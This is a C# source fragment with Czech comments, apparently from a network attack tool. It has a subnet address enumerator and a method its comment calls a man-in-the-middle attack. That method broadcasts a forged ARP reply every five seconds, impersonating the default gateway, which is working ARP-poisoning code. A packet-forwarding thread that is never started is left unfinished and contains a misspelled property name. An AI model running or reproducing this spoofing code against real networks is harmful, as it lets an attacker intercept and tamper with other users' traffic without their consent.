// vrátí všechny možné adresy pomocí netmask a broadcastu
public IPAddress[] PosibleAddresses()
{
if (PosibleAddresesList != null)
{
return(PosibleAddresesList.ToArray());
}
PosibleAddresesList = new List <IPAddress>();
byte[] broadcast = BroadCast.GetAddressBytes();
byte[] network = NetworkAddr.GetAddressBytes();
for (int oct1 = network[0]; oct1 <= broadcast[0]; oct1++)
{
for (int oct2 = network[1]; oct2 <= broadcast[1]; oct2++)
{
for (int oct3 = network[2]; oct3 <= broadcast[2]; oct3++)
{
for (int oct4 = network[3]; oct4 <= broadcast[3]; oct4++)
{
PosibleAddresesList.Add(new IPAddress(new byte[] { (byte)oct1, (byte)oct2, (byte)oct3, (byte)oct4 }));
}
}
}
}
PosibleAddresesList.RemoveAt(0);
PosibleAddresesList.RemoveAt(PosibleAddresesList.Count - 1);
return(PosibleAddresses());
}
// útok man in the middle (TODO nějak zařídit routování packetů co přijdou)
public void MITM()
{
// pokus o todo
new Thread(new ThreadStart
(
delegate()
{
using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
var result = pc.ReceivePacket(out Packet p);
if (result == PacketCommunicatorReceiveResult.Ok)
{
if (UIntToIp(p.Ethernet.IpV4.Destination.ToValue()).ToString() == DefaultGw.ToString() || InNetwork(UIntToIp(p.Ethernet.IpV4.Destination.ToValue())))
{
#if DEBUG
Console.WriteLine("foreign packet");
#endif
p.Ethernet.GetType().GetProperty("Destionation").SetValue(p.Ethernet, new MacAddress(Devices.First(x => x.IpAddr.ToString() == DefaultGw.ToString()).HardwareAddrString));
}
}
}
}
));
using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
while (true)
{
Packet p = PacketBuilder.Build
(
DateTime.Now,
new EthernetLayer
{
EtherType = EthernetType.None,
Destination = new MacAddress("ff:ff:ff:ff:ff:ff"),
Source = new MacAddress(PhysicalAddrString)
},
new ArpLayer
{
Operation = ArpOperation.Reply,
ProtocolType = EthernetType.IpV4,
SenderHardwareAddress = Array.AsReadOnly(PhysicalAddr.GetAddressBytes()),
SenderProtocolAddress = Array.AsReadOnly(DefaultGw.GetAddressBytes()),
TargetHardwareAddress = Array.AsReadOnly(new byte[] { 255, 255, 255, 255, 255, 255 }),
TargetProtocolAddress = Array.AsReadOnly(BroadCast.GetAddressBytes())
}
);
pc.SendPacket(p);
Thread.Sleep(5000);
}
}
}